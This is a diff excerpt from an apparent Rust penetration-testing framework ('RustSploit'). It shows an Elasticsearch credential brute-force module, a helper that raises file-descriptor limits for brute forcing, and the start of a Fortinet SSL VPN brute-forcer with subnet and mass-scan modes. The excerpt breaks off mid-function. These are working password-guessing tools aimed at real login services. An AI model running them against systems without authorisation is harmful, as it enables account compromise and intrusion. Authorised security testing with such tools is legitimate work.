let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"elasticsearch_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_secs: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "elasticsearch",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/elasticsearch_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("http://{}:{}", ip, port);
|
||||
match try_es_login(&base_url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "Elasticsearch Port", DEFAULT_ES_PORT).await?;
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output file",
|
||||
"elasticsearch_brute_results.txt",
|
||||
)
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let connect_addr = format!("{}:{}", normalized, port);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Starting brute-force on {}", connect_addr).cyan()
|
||||
);
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Added {} default credentials",
|
||||
DEFAULT_CREDENTIALS.len()
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("http://{}:{}", t, p);
|
||||
match try_es_login(&base_url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "elasticsearch",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/elasticsearch_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored Elasticsearch responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "elasticsearch_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# Elasticsearch Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt Elasticsearch login via HTTP Basic Auth.
|
||||
///
|
||||
/// Checks the `/_security/_authenticate` endpoint first (Elasticsearch security API).
|
||||
/// Falls back to the cluster root endpoint `/` and looks for `cluster_name` in the
|
||||
/// JSON response to confirm authenticated access.
|
||||
///
|
||||
/// Returns:
|
||||
/// - `Ok(true)` — authentication succeeded
|
||||
/// - `Ok(false)` — credentials rejected (401)
|
||||
/// - `Err(_)` — connection/timeout/protocol error
|
||||
async fn try_es_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let client = ClientBuilder::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true)
|
||||
.timeout(timeout_duration)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Try the security authenticate endpoint first
|
||||
let auth_url = format!("{}/_security/_authenticate", base_url);
|
||||
let auth_resp = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client.get(&auth_url).basic_auth(username, Some(password)).send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => {
|
||||
// Connection error — fall through to root endpoint check
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Connection refused") || err_str.contains("connect") {
|
||||
return Err(anyhow!("Connection refused: {}", err_str));
|
||||
}
|
||||
// Try root endpoint as fallback
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
Err(_) => return Err(anyhow!("Connection timeout")),
|
||||
};
|
||||
|
||||
let status = auth_resp.status().as_u16();
|
||||
|
||||
match status {
|
||||
200 => {
|
||||
// Verify we got a valid JSON response with authentication info
|
||||
let body = match tokio::time::timeout(timeout_duration, auth_resp.text()).await {
|
||||
Ok(Ok(b)) => b,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading response")),
|
||||
};
|
||||
if body.contains("username") || body.contains("roles") || body.contains("enabled") {
|
||||
return Ok(true);
|
||||
}
|
||||
// Got 200 but unexpected body — try root endpoint
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
401 => return Ok(false),
|
||||
403 => {
|
||||
// 403 could mean valid creds but insufficient privileges for security API
|
||||
// Try root endpoint as fallback
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
404 => {
|
||||
// Security plugin not installed — try root endpoint
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
_ => {
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Fallback: try authenticating against the Elasticsearch root endpoint `/`.
|
||||
/// A successful auth returns JSON with `cluster_name`.
|
||||
async fn try_es_root_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
client: &reqwest::Client,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let root_url = format!("{}/", base_url);
|
||||
let resp = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client.get(&root_url).basic_auth(username, Some(password)).send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(r)) => r,
|
||||
Ok(Err(e)) => return Err(anyhow!("Connection error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Connection timeout")),
|
||||
};
|
||||
|
||||
let status = resp.status().as_u16();
|
||||
|
||||
match status {
|
||||
200 => {
|
||||
let body = match tokio::time::timeout(timeout_duration, resp.text()).await {
|
||||
Ok(Ok(b)) => b,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading response")),
|
||||
};
|
||||
// Elasticsearch root returns JSON with cluster_name when authenticated
|
||||
if body.contains("cluster_name") {
|
||||
Ok(true)
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
401 => Ok(false),
|
||||
_ => Err(anyhow!("Unexpected HTTP status: {}", status)),
|
||||
}
|
||||
}
|
||||
@@ -1,15 +1,27 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use colored::*;
|
||||
use libc::{rlimit, setrlimit, getrlimit, RLIMIT_NOFILE};
|
||||
use rlimit::Resource;
|
||||
|
||||
const TARGET_FILE_LIMIT: u64 = 65535;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "System Ulimit Configuration".to_string(),
|
||||
description: "Raises file descriptor limits (ulimit) for the current process to support high-concurrency brute-force operations. Provides guidance for persistent system configuration.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ System Ulimit Configuration Utility ║".cyan());
|
||||
println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ System Ulimit Configuration Utility ║".cyan());
|
||||
crate::mprintln!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Module entry point for raising ulimit
|
||||
@@ -17,39 +29,22 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Target parameter is part of standard module interface
|
||||
// For ulimit operations, target is informational only
|
||||
if !target.is_empty() {
|
||||
println!("{}", format!("[*] Target context: {}", target).dimmed());
|
||||
crate::mprintln!("{}", format!("[*] Target context: {}", target).dimmed());
|
||||
}
|
||||
raise_ulimit().await
|
||||
}
|
||||
|
||||
/// Get current resource limits
|
||||
fn get_current_limits() -> Result<(u64, u64)> {
|
||||
let mut rlim = rlimit {
|
||||
rlim_cur: 0,
|
||||
rlim_max: 0,
|
||||
};
|
||||
|
||||
let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) };
|
||||
if result != 0 {
|
||||
return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
Ok((rlim.rlim_cur, rlim.rlim_max))
|
||||
let (soft, hard) = Resource::NOFILE.get()
|
||||
.map_err(|e| anyhow!("Failed to get current limits: {}", e))?;
|
||||
Ok((soft, hard))
|
||||
}
|
||||
|
||||
/// Set resource limits directly in the current process
|
||||
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
|
||||
let rlim = rlimit {
|
||||
rlim_cur: soft,
|
||||
rlim_max: hard,
|
||||
};
|
||||
|
||||
let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) };
|
||||
if result != 0 {
|
||||
return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
Resource::NOFILE.set(soft, hard)
|
||||
.map_err(|e| anyhow!("Failed to set limits: {}", e))
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
|
||||
@@ -60,19 +55,19 @@ async fn raise_ulimit() -> Result<()> {
|
||||
let (current_soft, current_hard) = match get_current_limits() {
|
||||
Ok(limits) => limits,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to get current limits: {}", e).red());
|
||||
crate::mprintln!("{}", format!("[-] Failed to get current limits: {}", e).red());
|
||||
(0, 0)
|
||||
}
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
|
||||
|
||||
if current_soft >= TARGET_FILE_LIMIT {
|
||||
println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
|
||||
|
||||
// Determine the target limits
|
||||
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
|
||||
@@ -86,26 +81,26 @@ async fn raise_ulimit() -> Result<()> {
|
||||
// Try to set the limit using setrlimit syscall (works for current process)
|
||||
match set_file_limit(target_soft, target_hard) {
|
||||
Ok(()) => {
|
||||
println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
|
||||
}
|
||||
Err(e) => {
|
||||
// If we can't raise hard limit, try just raising soft to current hard
|
||||
println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
|
||||
crate::mprintln!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
|
||||
|
||||
if current_hard > current_soft {
|
||||
println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
|
||||
match set_file_limit(current_hard, current_hard) {
|
||||
Ok(()) => {
|
||||
println!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
|
||||
crate::mprintln!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
|
||||
}
|
||||
Err(e2) => {
|
||||
println!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
|
||||
println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
|
||||
crate::mprintln!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
|
||||
crate::mprintln!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[!] Hard limit is the same as soft limit.".yellow());
|
||||
println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
|
||||
crate::mprintln!("{}", "[!] Hard limit is the same as soft limit.".yellow());
|
||||
crate::mprintln!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -113,28 +108,28 @@ async fn raise_ulimit() -> Result<()> {
|
||||
// Verify the new limits
|
||||
match get_current_limits() {
|
||||
Ok((new_soft, new_hard)) => {
|
||||
println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
|
||||
crate::mprintln!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
|
||||
if new_soft >= TARGET_FILE_LIMIT {
|
||||
println!("{}", "[+] File descriptor limit successfully raised!".green().bold());
|
||||
crate::mprintln!("{}", "[+] File descriptor limit successfully raised!".green().bold());
|
||||
} else if new_soft > current_soft {
|
||||
println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
|
||||
crate::mprintln!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
|
||||
} else {
|
||||
println!("{}", "[-] Limit unchanged.".yellow());
|
||||
crate::mprintln!("{}", "[-] Limit unchanged.".yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
|
||||
crate::mprintln!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Also show shell instructions for reference
|
||||
println!();
|
||||
println!("{}", "=== Shell Instructions ===".bold());
|
||||
println!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
|
||||
println!("{}", " ulimit -n 65535".white());
|
||||
println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
|
||||
println!("{}", " * soft nofile 65535".white());
|
||||
println!("{}", " * hard nofile 65535".white());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Shell Instructions ===".bold());
|
||||
crate::mprintln!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
|
||||
crate::mprintln!("{}", " ulimit -n 65535".white());
|
||||
crate::mprintln!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
|
||||
crate::mprintln!("{}", " * soft nofile 65535".white());
|
||||
crate::mprintln!("{}", " * hard nofile 65535".white());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,181 +1,383 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use reqwest::{ClientBuilder, redirect::Policy};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, timeout},
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_default, prompt_int_range,
|
||||
load_lines, prompt_wordlist, normalize_target,
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target, url_encode,
|
||||
};
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
use regex::Regex;
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
use reqwest::{redirect::Policy, ClientBuilder};
|
||||
use std::{io::Write, net::IpAddr, time::Duration};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Fortinet SSL VPN Brute Force".to_string(),
|
||||
description: "Brute-force Fortinet FortiGate SSL VPN web authentication. Tests credentials against the FortiOS login portal with certificate pinning, realm support, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Fortinet SSL VPN Brute Force Module ║".cyan());
|
||||
println!("{}", "║ FortiGate Web Login Credential Testing ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Fortinet SSL VPN Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ FortiGate Web Login Credential Testing ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = prompt_default("Fortinet VPN Port", "443").await?
|
||||
.parse().unwrap_or(443);
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "FortiGate",
|
||||
default_port: 443,
|
||||
state_file: "fortinet_hose_state.log",
|
||||
default_output: "fortinet_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
let url = format!("https://{}:{}/remote/logincheck", ip, port);
|
||||
let client =
|
||||
crate::utils::build_http_client(std::time::Duration::from_secs(5)).ok()?;
|
||||
let resp = client.get(&url).send().await.ok()?;
|
||||
if resp.status().is_success() || resp.status().as_u16() == 401 {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
Some(format!(
|
||||
"[{}] {}:{} FortiGate login page found\n",
|
||||
ts, ip, port
|
||||
))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
let usernames_file_path = prompt_wordlist("Username wordlist path").await?;
|
||||
let passwords_file_path = prompt_wordlist("Password wordlist path").await?;
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "Fortinet VPN Port", 443).await?;
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300).await? as u64;
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let _save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let save_path = if _save_results {
|
||||
Some(prompt_default("Output file name", "fortinet_results.txt").await?)
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"fortinet_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_secs: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
let realm_str = cfg_prompt_default("realm", "Authentication realm (optional)", "").await?;
|
||||
let realm: Option<String> = if realm_str.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(realm_str)
|
||||
};
|
||||
|
||||
let trusted_cert_str = cfg_prompt_default(
|
||||
"trusted_cert",
|
||||
"Trusted certificate SHA256 (optional, press Enter to skip)",
|
||||
"",
|
||||
)
|
||||
.await?;
|
||||
let trusted_cert: Option<String> = if trusted_cert_str.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trusted_cert_str)
|
||||
};
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "fortinet-vpn",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/fortinet_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let realm = realm.clone();
|
||||
let trusted_cert = trusted_cert.clone();
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("https://{}:{}", ip, port);
|
||||
match try_fortinet_login(
|
||||
&base_url,
|
||||
&user,
|
||||
&pass,
|
||||
&realm,
|
||||
&trusted_cert,
|
||||
timeout_dur,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
